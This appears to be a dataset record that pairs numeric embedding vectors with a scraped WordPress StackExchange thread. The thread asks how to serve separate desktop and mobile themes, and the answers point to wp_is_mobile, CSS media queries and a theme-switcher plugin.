0.0229034423828125,
-0.030364990234375,
-0.021270751953125,
0.0611572265625,
-0.0182342529296875,
0.045318603515625,
0.032562255859375,
-0.037933349609375,
0.0093231201171875,
-0.0657958984375,
0.02044677734375,
-0.00039839744567871094,
-0.0005502700805664062,
0.01190948486328125,
0.0027294158935546875,
-0.0083160400390625,
-0.00015175342559814453,
-0.006893157958984375,
-0.0007729530334472656,
0.03466796875,
-0.0036334991455078125,
0.007167816162109375,
-0.047393798828125,
-0.0203857421875,
0.0024261474609375,
-0.0029964447021484375,
0.019500732421875,
0.0379638671875,
-0.0238494873046875,
-0.028778076171875,
0.0213165283203125,
-0.031524658203125,
-0.01276397705078125,
0.009429931640625,
0.00969696044921875,
0.0284423828125,
0.006748199462890625,
0.03948974609375,
-0.0265045166015625,
-0.0024776458740234375,
-0.0170745849609375,
0.044219970703125,
-0.0300750732421875,
-0.005100250244140625,
-0.062347412109375,
0.0275421142578125,
-0.04559326171875,
0.0655517578125,
0.01143646240234375,
0.0265045166015625,
0.0235443115234375,
-0.023284912109375,
0.0010967254638671875,
-0.0027523040771484375,
-0.036376953125,
-0.04437255859375,
0.0225677490234375,
0.017486572265625,
-0.016357421875,
0.007801055908203125,
0.07525634765625,
0.0150909423828125,
0.0165252685546875,
-0.015533447265625,
0.0189971923828125,
-0.0252685546875,
-0.0073394775390625,
0.0286712646484375,
0.0005865097045898438,
-0.0261383056640625,
0.007171630859375,
0.007709503173828125,
0.01947021484375,
0.03179931640625,
0.02288818359375,
0.012054443359375,
-0.01454925537109375,
-0.059906005859375,
0.0474853515625,
-0.032928466796875,
0.0498046875,
0.007648468017578125,
-0.0226898193359375,
-0.043701171875,
0.05731201171875,
-0.04693603515625,
-0.0279083251953125,
-0.0787353515625,
-0.004604339599609375,
0.006099700927734375,
0.000050008296966552734,
-0.048797607421875,
-0.054107666015625,
-0.0062408447265625,
-0.0057830810546875,
-0.0228118896484375,
0.01303863525390625,
0.04742431640625,
-0.0091552734375,
-0.0322265625,
-0.0565185546875,
0.0090179443359375,
-0.003154754638671875,
0.0221099853515625,
0.01311492919921875,
0.03497314453125,
0.0269012451171875,
0.01560211181640625,
-0.008209228515625,
-0.0276336669921875,
0.08636474609375,
-0.024017333984375,
-0.0285186767578125,
0.0278778076171875,
0.016387939453125,
0.049591064453125,
-0.00775909423828125,
0.0262451171875,
-0.0248870849609375,
0.0284881591796875,
-0.06304931640625,
-0.002681732177734375,
-0.0003752708435058594,
-0.0185394287109375,
0.0111846923828125,
-0.0209197998046875,
0.005283355712890625,
0.014129638671875,
-0.0013093948364257812,
-0.0100555419921875,
0.022552490234375,
0.012176513671875,
-0.006916046142578125,
0.0029811859130859375,
-0.0148468017578125,
0.0222320556640625,
-0.0753173828125,
0.0001761913299560547,
0.04241943359375,
-0.0248260498046875,
-0.0171051025390625,
-0.0024623870849609375,
0.043609619140625,
0.0187530517578125,
-0.01190185546875,
0.009307861328125,
-0.01416778564453125,
0.0245819091796875,
-0.0209197998046875,
-0.0303802490234375,
-0.026214599609375,
0.0177154541015625,
0.0242462158203125,
0.00913238525390625,
-0.040283203125,
-0.0218048095703125,
-0.0251312255859375,
0.0276947021484375,
-0.08404541015625,
0.033050537109375,
-0.001125335693359375,
-0.0101776123046875,
-0.0345458984375,
-0.0166015625,
0.00858306884765625,
-0.0478515625,
0.0216522216796875,
0.054443359375,
0.0264129638671875,
-0.006923675537109375,
-0.007579803466796875,
0.0123748779296875,
0.04119873046875,
0.0259552001953125,
0.039215087890625,
-0.01471710205078125,
-0.0241241455078125,
-0.0146026611328125,
-0.005756378173828125,
0.015289306640625,
0.0360107421875,
0.0015125274658203125,
0.0017652511596679688,
0.0394287109375,
0.005218505859375,
-0.04541015625,
0.0183563232421875,
0.03985595703125,
-0.00927734375,
0.005992889404296875,
-0.00324249267578125,
0.0013055801391601562,
0.031707763671875,
0.04217529296875,
0.048187255859375,
0.031341552734375,
-0.0535888671875,
0.04974365234375,
0.0070037841796875,
-0.006999969482421875,
-0.017974853515625,
0.01326751708984375,
0.050933837890625,
0.0027790069580078125,
-0.038238525390625,
0.00897216796875,
0.01303863525390625,
0.006282806396484375,
-0.0270538330078125,
0.0014295578002929688,
-0.0089874267578125,
-0.004154205322265625,
0.00494384765625,
-0.060455322265625,
0.01515960693359375,
-0.006847381591796875,
-0.0063629150390625,
-0.035614013671875,
0.0126190185546875,
0.0010042190551757812,
-0.0240936279296875,
0.0157470703125,
-0.009246826171875,
-0.034637451171875,
0.0033664703369140625,
-0.04840087890625,
0.060028076171875,
-0.07354736328125,
0.0623779296875,
0.061614990234375,
-0.08197021484375,
0.0682373046875,
-0.0201416015625,
0.030853271484375,
-0.0185394287109375,
-0.00876617431640625,
-0.0352783203125,
-0.044036865234375,
-0.017913818359375,
-0.0254974365234375,
-0.01110076904296875,
-0.01224517822265625,
-0.048828125,
-0.039703369140625,
-0.04937744140625,
-0.0347900390625,
-0.07379150390625,
0.00039696693420410156,
0.03363037109375,
-0.06536865234375,
-0.000705718994140625,
0.0172882080078125,
-0.04339599609375,
-0.028167724609375,
0.070556640625,
-0.0024700164794921875,
-0.0091094970703125,
-0.01198577880859375,
-0.00447845458984375,
-0.0091400146484375,
-0.0197601318359375,
0.0205230712890625,
0.00811767578125,
-0.01320648193359375,
0.0041656494140625,
0.0284423828125,
-0.00141143798828125,
-0.0333251953125,
0.00455474853515625,
-0.0068206787109375,
-0.023162841796875,
-0.02264404296875,
0.02587890625,
-0.0279693603515625,
-0.016021728515625,
-0.008026123046875,
0.04644775390625,
0.046600341796875,
-0.048858642578125,
0.020416259765625,
-0.01293182373046875,
-0.0004992485046386719,
0.02972412109375,
0.041595458984375,
-0.005596160888671875,
0.023223876953125,
0.0740966796875,
-0.019256591796875,
0.011260986328125,
-0.03961181640625,
-0.05670166015625,
-0.01251983642578125,
0.04180908203125,
0.01018524169921875,
-0.0404052734375,
0.0009627342224121094,
-0.01535797119140625,
-0.0161895751953125,
0.04046630859375,
-0.04681396484375,
-0.0236663818359375,
-0.011688232421875,
-0.01934814453125,
-0.02020263671875,
0.061065673828125,
0.00992584228515625,
-0.018768310546875,
0.019744873046875,
0.01824951171875,
0.01458740234375,
0.0083465576171875,
-0.005756378173828125,
-0.039306640625,
0.03173828125,
-0.0482177734375,
0.046966552734375,
-0.0792236328125,
-0.00830841064453125,
-0.045867919921875,
0.06524658203125,
-0.005069732666015625,
-0.01526641845703125,
0.017547607421875,
0.009613037109375,
-0.0027904510498046875,
-0.0172576904296875,
-0.027191162109375,
-0.019439697265625,
-0.055572509765625,
0.01080322265625,
0.0019435882568359375,
-0.0215606689453125,
-0.0005164146423339844,
-0.0205841064453125,
-0.01512908935546875,
-0.039093017578125,
0.0261383056640625,
0.041351318359375,
-0.0118408203125,
0.04931640625,
-0.03466796875,
0.0606689453125,
-0.0181732177734375,
-0.005794525146484375,
-0.112060546875,
-0.04327392578125,
0.02386474609375,
0.0916748046875,
-0.010223388671875,
-0.0531005859375,
-0.03533935546875,
0.06036376953125,
0.004657745361328125,
-0.03558349609375,
0.018798828125,
-0.00539398193359375,
0.0180511474609375,
0.0248565673828125,
0.00031828880310058594,
-0.01218414306640625,
0.005313873291015625,
-0.01082611083984375,
-0.045806884765625,
0.022857666015625,
-0.00628662109375,
0.01885986328125,
0.0262298583984375,
-0.0302581787109375,
-0.06640625,
-0.06390380859375,
-0.0019359588623046875,
0.01419830322265625,
0.00528717041015625,
-0.017303466796875,
-0.06781005859375,
-0.051361083984375,
0.015777587890625,
-0.046295166015625,
-0.0295562744140625,
0.01222991943359375,
0.056640625,
0.0224151611328125,
0.0059661865234375,
-0.0286102294921875,
0.0416259765625,
0.028045654296875,
0.0114593505859375,
0.0360107421875,
0.018707275390625,
0.01123809814453125,
0.010894775390625,
0.0091400146484375,
0.0019245147705078125,
-0.04718017578125,
0.06976318359375,
-0.004405975341796875,
0.0008130073547363281,
0.0295867919921875,
-0.0162811279296875,
0.0081939697265625,
0.0058746337890625,
-0.009918212890625,
0.01324462890625,
0.00868988037109375,
0.021575927734375,
0.0150299072265625,
-0.023895263671875,
-0.0411376953125,
0.03997802734375,
-0.02777099609375,
0.07269287109375,
0.045257568359375,
0.026458740234375,
0.004070281982421875,
-0.0193939208984375,
0.0550537109375,
0.009033203125,
0.008758544921875,
0.0185546875,
-0.0016326904296875,
0.061126708984375,
-0.023773193359375,
0.01174163818359375,
-0.01354217529296875,
0.003215789794921875,
-0.005962371826171875,
0.004787445068359375,
-0.0015964508056640625,
-0.04168701171875,
0.006786346435546875,
-0.017669677734375,
-0.01456451416015625,
0.016571044921875,
0.059844970703125,
0.00934600830078125,
-0.038848876953125,
-0.0239105224609375,
-0.044586181640625,
0.004398345947265625,
-0.0655517578125,
0.040008544921875,
0.0055999755859375,
0.0037441253662109375,
0.03143310546875,
0.00922393798828125,
-0.0240478515625,
0.021759033203125,
-0.0005207061767578125,
-0.035064697265625,
-0.01036834716796875,
0.0191802978515625,
0.023712158203125,
0.006885528564453125,
-0.006649017333984375,
0.01410675048828125,
0.047943115234375,
-0.0308685302734375,
-0.032440185546875,
0.039154052734375,
0.042388916015625,
-0.01690673828125,
-0.006256103515625,
-0.00641632080078125,
-0.0215911865234375,
0.0019407272338867188,
-0.002162933349609375,
-0.04296875,
-0.04296875,
-0.021514892578125,
0.019256591796875,
0.044525146484375,
-0.0197296142578125,
-0.0313720703125,
0.004535675048828125,
-0.003993988037109375,
0.0234375,
-0.01209259033203125,
-0.040496826171875,
0.025604248046875,
0.029327392578125,
0.018707275390625,
-0.039459228515625,
-0.0104522705078125,
-0.03460693359375,
0.038238525390625,
-0.051788330078125,
-0.0156707763671875,
0.056060791015625,
-0.04315185546875,
0.035675048828125,
-0.0268096923828125,
0.0005326271057128906,
-0.0164794921875,
0.025421142578125,
0.031646728515625,
0.0190887451171875,
-0.0182647705078125,
-0.007686614990234375,
-0.0299835205078125,
-0.01461029052734375,
0.04327392578125,
-0.009124755859375,
-0.0293426513671875,
-0.032196044921875,
0.0107879638671875,
0.0244140625,
-0.00344085693359375,
-0.01151275634765625,
-0.011322021484375,
-0.0104217529296875,
0.0079345703125,
0.00717926025390625,
0.017486572265625,
-0.00824737548828125,
-0.002681732177734375,
0.021728515625,
0.0033931732177734375,
-0.033599853515625,
-0.049407958984375,
-0.0103607177734375,
0.01146697998046875,
-0.022552490234375,
-0.0389404296875,
0.00836944580078125,
-0.053436279296875,
0.0131683349609375,
0.054534912109375,
-0.010406494140625,
0.002544403076171875,
-0.00047397613525390625,
-0.01485443115234375,
-0.0114288330078125,
0.024566650390625,
0.0174713134765625,
0.03167724609375,
-0.01323699951171875,
0.019683837890625,
0.04254150390625,
-0.0245208740234375,
-0.0288543701171875,
0.00014734268188476562,
0.008148193359375,
0.0203704833984375,
-0.0035762786865234375,
-0.00027751922607421875,
0.052825927734375,
0.0748291015625,
-0.04754638671875,
0.046051025390625,
0.048797607421875,
-0.00989532470703125,
0.041290283203125,
0.03070068359375,
0.0101776123046875,
-0.0162200927734375,
0.0272674560546875,
-0.006259918212890625,
-0.020355224609375,
-0.0017452239990234375,
-0.0207977294921875,
0.004405975341796875,
0.0138092041015625,
0.041900634765625,
-0.028076171875,
0.005649566650390625,
0.0057525634765625,
0.0025348663330078125,
0.049102783203125,
-0.03228759765625,
-0.0072021484375,
0.00438690185546875,
0.042449951171875,
-0.039520263671875,
-0.05047607421875,
-0.0097808837890625,
0.004180908203125,
0.0157470703125,
0.01824951171875,
0.031585693359375,
-0.004547119140625,
-0.0185394287109375,
-0.0797119140625,
0.00803375244140625,
-0.037445068359375,
0.0191650390625,
0.0206298828125,
-0.01323699951171875,
-0.03515625,
-0.03521728515625,
-0.034423828125,
-0.0145721435546875,
-0.02972412109375,
0.0211944580078125,
-0.029510498046875,
0.0654296875,
0.04791259765625,
-0.0170440673828125,
0.0014352798461914062,
0.0199737548828125,
0.0285491943359375,
0.0114593505859375,
-0.029388427734375,
0.017608642578125,
0.0259246826171875,
-0.037322998046875,
0.0159912109375,
-0.00603485107421875,
-0.01206207275390625,
-0.019927978515625,
-0.03228759765625,
0.08538818359375,
-0.07275390625,
0.0005855560302734375,
0.01055145263671875,
0.032958984375,
-0.009490966796875,
0.000774383544921875,
-0.0081634521484375,
-0.049713134765625,
-0.061248779296875,
-0.007640838623046875,
-0.1009521484375,
0.00029277801513671875,
-0.0255889892578125,
-0.032745361328125,
0.026153564453125,
-0.03662109375,
0.0217132568359375,
0.01236724853515625,
0.004344940185546875,
0.0041046142578125,
-0.003574371337890625,
-0.0203704833984375,
0.024200439453125,
0.0241546630859375,
0.021270751953125,
0.004528045654296875,
0.005641937255859375,
0.01092529296875,
0.01357269287109375,
0.031524658203125,
0.01082611083984375,
0.007904052734375,
0.01512908935546875,
0.0755615234375,
0.014617919921875,
-0.01493072509765625,
0.0237579345703125,
-0.02325439453125,
-0.0287628173828125,
0.0095977783203125,
-0.0030384063720703125,
0.0101470947265625,
-0.0030536651611328125,
-0.0272369384765625,
0.0164337158203125,
0.02337646484375,
0.034912109375,
-0.003002166748046875,
0.038421630859375,
-0.05560302734375,
-0.0049591064453125,
0.060577392578125,
-0.0232086181640625,
-0.0306396484375,
0.0526123046875,
0.058807373046875,
-0.035888671875,
-0.0345458984375,
-0.0201568603515625,
0.045440673828125,
0.0249786376953125,
0.00432586669921875,
0.03729248046875,
0.01328277587890625,
0.022216796875,
-0.038238525390625,
-0.0188446044921875,
-0.009765625,
0.002674102783203125,
0.01482391357421875,
-0.0035686492919921875,
0.004795074462890625,
-0.04595947265625,
0.003047943115234375,
0.053802490234375,
0.03546142578125,
-0.0250701904296875,
-0.00490570068359375,
0.032562255859375,
0.0014543533325195312,
-0.021453857421875,
-0.0225830078125,
-0.0119171142578125,
-0.06610107421875,
-0.0264892578125,
-0.0345458984375,
-0.004718780517578125,
0.044952392578125,
0.03582763671875,
-0.0027523040771484375,
-0.01922607421875,
-0.035247802734375,
-0.0213165283203125,
-0.0301361083984375,
0.0222015380859375,
0.0188751220703125,
0.0153961181640625,
-0.050567626953125,
0.052978515625,
0.002593994140625,
0.0103759765625,
-0.0236053466796875,
0.03460693359375,
-0.04791259765625,
0.044830322265625,
-0.05413818359375,
-0.046600341796875,
-0.039276123046875,
0.056396484375,
0.0452880859375,
0.0177764892578125,
0.061920166015625,
-0.0027370452880859375,
-0.037811279296875,
0.01313018798828125,
0.02606201171875,
-0.030487060546875,
0.03271484375,
-0.0484619140625,
0.035125732421875,
0.0276641845703125,
0.00231170654296875,
0.00262451171875,
-0.0299530029296875,
0.080810546875,
-0.054840087890625,
0.0296478271484375,
-0.016357421875,
-0.026611328125,
0.0280303955078125,
-0.0086212158203125,
0.0596923828125,
-0.019775390625,
-0.049346923828125,
-0.0047149658203125,
0.006565093994140625,
-0.07208251953125,
0.035247802734375,
0.056243896484375,
-0.0433349609375,
0.0126800537109375,
-0.0309295654296875,
-0.0160064697265625,
0.020263671875,
-0.0080108642578125,
-0.0263671875,
0.014892578125,
0.024078369140625,
-0.029937744140625,
-0.020782470703125,
-0.0026912689208984375,
-0.0335693359375,
0.03564453125,
0.033843994140625,
0.08392333984375,
-0.0230255126953125,
0.041778564453125,
0.030303955078125,
0.01099395751953125,
-0.0060272216796875,
0.00696563720703125,
0.033905029296875,
-0.02215576171875,
-0.003551483154296875,
-0.0203094482421875,
0.00824737548828125,
0.00904083251953125,
0.03460693359375,
-0.048492431640625,
0.00798797607421875,
-0.035064697265625,
0.01480865478515625,
-0.0109405517578125,
0.05078125,
-0.039154052734375,
-0.064208984375,
-0.08251953125,
-0.007617950439453125,
0.0074005126953125,
0.007335662841796875,
0.0091552734375,
0.03936767578125,
0.00955963134765625,
0.00814056396484375,
0.0193328857421875,
-0.023284912109375,
0.0173797607421875,
0.0211639404296875,
0.0027141571044921875,
-0.004268646240234375,
-0.032745361328125,
-0.0288543701171875,
0.0026264190673828125,
0.01004791259765625,
-0.0218658447265625,
-0.0178070068359375,
-0.044219970703125,
-0.00510406494140625,
0.0180511474609375,
0.025848388671875,
-0.03863525390625,
0.0037860870361328125,
0.011627197265625,
0.00201416015625,
0.0167388916015625,
0.00926971435546875,
0.004016876220703125,
-0.03948974609375,
-0.01187896728515625,
0.004138946533203125,
-0.0225067138671875,
-0.032806396484375,
-0.0195770263671875,
0.0173797607421875,
0.0653076171875,
0.0447998046875,
-0.09033203125,
0.0703125,
-0.022705078125,
0.032867431640625,
0.0428466796875,
-0.005420684814453125,
-0.0262908935546875,
-0.007770538330078125,
-0.0439453125,
-0.0257720947265625,
-0.060882568359375,
0.0295867919921875,
-0.04791259765625,
0.03216552734375,
0.0367431640625,
-0.0294189453125,
0.004024505615234375,
0.043304443359375,
0.0197906494140625,
0.08575439453125,
-0.02716064453125,
-0.044952392578125,
0.006008148193359375,
-0.012603759765625,
0.015167236328125,
-0.00975799560546875,
-0.003070831298828125,
-0.025970458984375,
0.0009927749633789062,
0.036712646484375,
-0.04193115234375,
-0.0065765380859375,
-0.045318603515625,
-0.10101318359375,
0.050384521484375,
-0.00666046142578125,
-0.04608154296875,
-0.027069091796875,
0.0181884765625,
-0.0299530029296875,
0.047271728515625,
0.00768280029296875,
-0.01303863525390625,
0.0161590576171875,
0.01375579833984375,
0.003681182861328125,
0.034912109375,
0.00304412841796875,
0.011383056640625,
0.0286102294921875,
0.0311737060546875,
0.03521728515625,
-0.01392364501953125,
0.03277587890625,
-0.0236358642578125,
0.04840087890625,
0.027862548828125,
-0.050445556640625,
0.0281219482421875,
-0.00893402099609375,
0.01058197021484375,
0.028961181640625,
-0.0411376953125,
-0.043975830078125,
-0.0413818359375,
0.033050537109375,
0.01123046875,
0.0159759521484375,
0.011322021484375,
0.0027370452880859375,
-0.0096893310546875,
0.028717041015625,
-0.034515380859375,
-0.0004649162292480469,
-0.06500244140625,
-0.04022216796875,
-0.0013761520385742188,
-0.0233001708984375,
-0.0291290283203125,
0.0021762847900390625,
-0.038116455078125,
0.0005311965942382812,
-0.006500244140625,
-0.014129638671875,
-0.005001068115234375,
0.035797119140625,
0.02032470703125,
-0.016998291015625,
0.0261688232421875,
-0.04034423828125,
0.0011844635009765625,
0.0254364013671875,
-0.0506591796875,
-0.0277862548828125,
0.0018014907836914062,
-0.01192474365234375,
-0.0019683837890625,
0.00667572021484375,
-0.001293182373046875,
0.01448822021484375,
0.0025119781494140625,
-0.017242431640625,
0.002437591552734375,
0.0011806488037109375,
-0.00814056396484375,
0.0162506103515625,
0.0107269287109375,
-0.0067901611328125,
0.04266357421875,
-0.012908935546875,
-0.00223541259765625,
0.0164794921875,
0.001255035400390625,
-0.04486083984375,
0.00806427001953125,
-0.004650115966796875,
-0.06683349609375,
0.00867462158203125,
0.0223236083984375,
0.01727294921875,
-0.0264739990234375,
0.012420654296875,
-0.031982421875,
0.024169921875,
0.0104522705078125
] |
2f4a582afb64cb3af48c47905c265a5f3f554958
|
Wordpress Stackexchange
Q: How to set two different themes on one WordPress? (Desktop vs. Mobile) I created two WordPress themes.
First for the Desktop and second for tablet/mobile. I want to set on one URL. When the website opens, the theme should change automatically based on resolution.
A: To employ two entirely separate themes is a suboptimal architectural approach.
Themes are activated site-wide/globally and not on a per-user basis. You don't want to change the current theme constantly.
While I personally really dislike this option, WordPress ships with a function that sniffs the UA-String, wp_is_mobile.
This function can be employed to either output alternative markup and/or load an alternative stylesheet (from within the same theme).
Or - and this is my personal choice - familiarize yourself with CSS3 mediaqueries.
|
Q: How to set two different themes on one WordPress? (Desktop vs. Mobile) I created two WordPress themes.
First for the Desktop and second for tablet/mobile. I want to set on one URL. When the website opens, the theme should change automatically based on resolution.
A: To employ two entirely separate themes is a suboptimal architectural approach.
Themes are activated site-wide/globally and not on a per-user basis. You don't want to change the current theme constantly.
While I personally really dislike this option, WordPress ships with a function that sniffs the UA-String, wp_is_mobile.
This function can be employed to either output alternative markup and/or load an alternative stylesheet (from within the same theme).
Or - and this is my personal choice - familiarize yourself with CSS3 mediaqueries.
A: For simple, you may try this plugin,
http://wordpress.org/plugins/device-theme-switcher/
See this thres also,
How to detect mobile devices and present them a specific theme?
for more customization have to play with code to manipulate the options table meta values for 'stylesheet', 'template'.
|
wordpress
|
{
"language": "en",
"length": 169,
"provenance": "stackexchange_00019.jsonl.gz:437493",
"question_score": "4",
"source": "stackexchange",
"timestamp": "2023-03-29",
"url": "https://wordpress.stackexchange.com/questions/115411"
}
|
[
-0.0017080307006835938,
-0.01947021484375,
0.0006365776062011719,
0.007656097412109375,
-0.0273590087890625,
-0.01534271240234375,
0.007320404052734375,
-0.029449462890625,
-0.056549072265625,
0.0097503662109375,
0.02142333984375,
0.0218353271484375,
-0.01432037353515625,
-0.046142578125,
0.04583740234375,
-0.0279388427734375,
0.0210723876953125,
-0.0272064208984375,
-0.044097900390625,
-0.02581787109375,
0.00539398193359375,
-0.01291656494140625,
-0.035430908203125,
0.08990478515625,
0.0217132568359375,
-0.053253173828125,
0.020599365234375,
-0.00717926025390625,
-0.0176239013671875,
-0.027130126953125,
0.0140533447265625,
0.0298309326171875,
-0.00914764404296875,
0.04034423828125,
-0.02447509765625,
-0.0197601318359375,
0.022918701171875,
0.007297515869140625,
0.019439697265625,
0.034637451171875,
0.0102691650390625,
-0.006282806396484375,
0.031829833984375,
0.032012939453125,
0.00989532470703125,
-0.055084228515625,
0.027374267578125,
-0.07489013671875,
0.0035610198974609375,
-0.0133209228515625,
0.0130615234375,
0.000926971435546875,
0.03271484375,
-0.024322509765625,
-0.0249786376953125,
-0.030792236328125,
0.0231781005859375,
-0.038421630859375,
0.040985107421875,
-0.02655029296875,
-0.0360107421875,
-0.039154052734375,
0.03607177734375,
-0.0272369384765625,
-0.01169586181640625,
-0.0199432373046875,
-0.032867431640625,
0.0186309814453125,
-0.0280609130859375,
-0.0275421142578125,
0.0247955322265625,
-0.0205230712890625,
0.01428985595703125,
-0.041534423828125,
-0.007537841796875,
0.00533294677734375,
-0.0074310302734375,
-0.00966644287109375,
0.0223846435546875,
-0.0244903564453125,
0.006710052490234375,
0.00279998779296875,
-0.0002541542053222656,
-0.06573486328125,
0.0433349609375,
-0.020294189453125,
-0.00112152099609375,
-0.0071258544921875,
-0.03350830078125,
-0.0174102783203125,
-0.021484375,
-0.0279998779296875,
-0.045928955078125,
0.029937744140625,
0.01409149169921875,
-0.011444091796875,
0.01416778564453125,
0.04205322265625,
-0.00844573974609375,
0.0186920166015625,
-0.0185546875,
-0.025726318359375,
0.0211334228515625,
-0.04119873046875,
0.0124359130859375,
0.054443359375,
-0.004161834716796875,
0.0225982666015625,
0.04364013671875,
0.0136566162109375,
0.01241302490234375,
0.0557861328125,
0.0215911865234375,
0.01381683349609375,
-0.027099609375,
-0.0550537109375,
-0.053619384765625,
0.03515625,
-0.01047515869140625,
-0.01515960693359375,
-0.00440216064453125,
0.0259857177734375,
-0.01386260986328125,
0.029693603515625,
-0.0214691162109375,
-0.0037059783935546875,
0.00921630859375,
-0.034332275390625,
-0.008209228515625,
0.0404052734375,
-0.0203704833984375,
-0.01253509521484375,
0.037078857421875,
0.04327392578125,
0.0091552734375,
-0.021697998046875,
0.0246124267578125,
0.01171112060546875,
0.0038204193115234375,
0.00518035888671875,
0.035400390625,
-0.029541015625,
-0.0245513916015625,
0.011871337890625,
-0.037628173828125,
0.019195556640625,
0.0138092041015625,
0.02197265625,
-0.01456451416015625,
-0.050933837890625,
-0.0027313232421875,
-0.017120361328125,
-0.00586700439453125,
-0.0035839080810546875,
0.04669189453125,
-0.033172607421875,
0.0242919921875,
-0.0245513916015625,
0.0322265625,
-0.02215576171875,
-0.0204925537109375,
0.013031005859375,
0.06695556640625,
0.016754150390625,
0.0208587646484375,
-0.0028839111328125,
-0.033538818359375,
0.00945281982421875,
0.0092620849609375,
-0.0263519287109375,
-0.03192138671875,
0.0095367431640625,
0.07958984375,
-0.006053924560546875,
-0.0236053466796875,
0.0257415771484375,
-0.0063629150390625,
0.0022678375244140625,
0.0438232421875,
-0.005229949951171875,
-0.008544921875,
-0.03436279296875,
0.036773681640625,
-0.0096588134765625,
-0.0168914794921875,
0.0673828125,
-0.005542755126953125,
0.044921875,
-0.01271820068359375,
0.007537841796875,
-0.024017333984375,
0.03466796875,
-0.0230255126953125,
0.0455322265625,
-0.00750732421875,
-0.047393798828125,
-0.0318603515625,
-0.0085296630859375,
-0.0247650146484375,
-0.00395965576171875,
-0.006504058837890625,
0.01885986328125,
-0.023101806640625,
0.01004791259765625,
-0.031005859375,
-0.01526641845703125,
-0.009735107421875,
0.0259857177734375,
0.0193023681640625,
0.013214111328125,
-0.01084136962890625,
-0.01451873779296875,
0.0238800048828125,
-0.067626953125,
-0.037109375,
0.023529052734375,
0.0160675048828125,
0.0361328125,
0.0186920166015625,
-0.0036945343017578125,
0.0242156982421875,
-0.0020198822021484375,
0.024383544921875,
0.0264129638671875,
0.061370849609375,
-0.008941650390625,
-0.0168304443359375,
-0.026611328125,
0.045562744140625,
0.00769805908203125,
-0.032135009765625,
0.03521728515625,
0.03662109375,
0.01421356201171875,
-0.0259857177734375,
0.0153045654296875,
0.031585693359375,
-0.0086517333984375,
-0.015960693359375,
0.027374267578125,
0.031707763671875,
0.01280975341796875,
-0.0228271484375,
0.023040771484375,
0.049346923828125,
-0.0550537109375,
-0.0221099853515625,
0.0272369384765625,
0.01995849609375,
0.01568603515625,
0.03692626953125,
-0.042694091796875,
0.0238037109375,
-0.09466552734375,
0.031707763671875,
0.0187530517578125,
-0.049591064453125,
-0.006256103515625,
0.008819580078125,
-0.0170745849609375,
0.0047760009765625,
-0.000797271728515625,
0.01067352294921875,
-0.01422119140625,
0.017974853515625,
0.00928497314453125,
0.007610321044921875,
-0.0007109642028808594,
-0.037567138671875,
0.0013551712036132812,
0.0341796875,
0.013519287109375,
0.011932373046875,
0.03607177734375,
-0.006168365478515625,
0.0207061767578125,
0.0074615478515625,
-0.0225067138671875,
0.01558685302734375,
0.0109710693359375,
-0.050537109375,
-0.02557373046875,
-0.0997314453125,
-0.012908935546875,
-0.0140228271484375,
-0.06353759765625,
-0.01500701904296875,
-0.0026340484619140625,
0.0017871856689453125,
0.03582763671875,
0.047271728515625,
0.0166778564453125,
-0.01297760009765625,
0.023773193359375,
-0.01195526123046875,
0.00012636184692382812,
0.059356689453125,
-0.031829833984375,
0.035614013671875,
-0.0479736328125,
0.01128387451171875,
0.035736083984375,
-0.017181396484375,
0.0005960464477539062,
-0.0132293701171875,
0.0316162109375,
0.018798828125,
-0.0076141357421875,
-0.0167694091796875,
-0.0029239654541015625,
-0.032379150390625,
-0.0207366943359375,
0.0199737548828125,
-0.015472412109375,
0.00014352798461914062,
-0.0209503173828125,
-0.01708984375,
0.01297760009765625,
-0.05780029296875,
-0.0193939208984375,
0.0196685791015625,
-0.0160064697265625,
0.046661376953125,
-0.0047607421875,
0.00927734375,
-0.048553466796875,
0.028778076171875,
0.0016937255859375,
0.013763427734375,
-0.03271484375,
-0.032012939453125,
-0.052032470703125,
-0.0625,
-0.01325225830078125,
0.0023860931396484375,
0.004734039306640625,
-0.0016002655029296875,
0.033447265625,
0.01535797119140625,
0.01355743408203125,
0.035186767578125,
0.039825439453125,
0.005664825439453125,
-0.01354217529296875,
0.0292510986328125,
-0.038299560546875,
-0.0308685302734375,
0.0086669921875,
-0.00218963623046875,
0.001499176025390625,
-0.014404296875,
-0.00913238525390625,
-0.04095458984375,
-0.0242767333984375,
-0.022064208984375,
-0.01430511474609375,
0.028533935546875,
-0.00713348388671875,
-0.008880615234375,
-0.05560302734375,
-0.045318603515625,
0.0012750625610351562,
-0.053497314453125,
0.01390838623046875,
0.0322265625,
-0.00789642333984375,
-0.015899658203125,
0.01517486572265625,
0.01108551025390625,
-0.01220703125,
0.0235595703125,
-0.050140380859375,
0.07403564453125,
0.01526641845703125,
0.042449951171875,
-0.050537109375,
-0.0703125,
-0.061126708984375,
0.0205230712890625,
-0.0589599609375,
-0.0220947265625,
-0.03692626953125,
0.06292724609375,
-0.0015211105346679688,
-0.051025390625,
0.0260467529296875,
-0.05804443359375,
-0.031829833984375,
-0.0028018951416015625,
0.004695892333984375,
0.00409698486328125,
0.05108642578125,
-0.09918212890625,
0.0035610198974609375,
0.01261138916015625,
0.038665771484375,
-0.06414794921875,
-0.0811767578125,
-0.08148193359375,
-0.00811767578125,
-0.06951904296875,
-0.01207733154296875,
-0.01430511474609375,
-0.019012451171875,
-0.0259246826171875,
0.019012451171875,
-0.035858154296875,
-0.03717041015625,
0.046783447265625,
-0.01546478271484375,
-0.0231781005859375,
0.0154266357421875,
-0.051300048828125,
-0.001800537109375,
-0.045166015625,
0.00815582275390625,
-0.0171966552734375,
-0.00946807861328125,
0.00687408447265625,
0.017364501953125,
0.020904541015625,
-0.0404052734375,
0.0169219970703125,
0.038604736328125,
-0.01486968994140625,
0.05023193359375,
-0.02081298828125,
0.004047393798828125,
-0.0036163330078125,
0.02484130859375,
0.02142333984375,
-0.0036106109619140625,
-0.0004992485046386719,
-0.044708251953125,
-0.06451416015625,
0.01495361328125,
-0.02142333984375,
0.067626953125,
-0.0124969482421875,
-0.01149749755859375,
-0.003589630126953125,
0.01123046875,
0.017669677734375,
0.040008544921875,
0.00724029541015625,
0.0006804466247558594,
-0.021240234375,
-0.0231475830078125,
0.034332275390625,
0.0088043212890625,
-0.0014247894287109375,
0.0111083984375,
0.08319091796875,
0.0159759521484375,
-0.01947021484375,
-0.035858154296875,
-0.016357421875,
0.030975341796875,
0.048919677734375,
-0.0273284912109375,
-0.017730712890625,
-0.0301971435546875,
-0.0030670166015625,
0.0190582275390625,
-0.024566650390625,
0.0208282470703125,
0.055633544921875,
-0.0004088878631591797,
-0.02642822265625,
0.030029296875,
-0.02484130859375,
-0.01044464111328125,
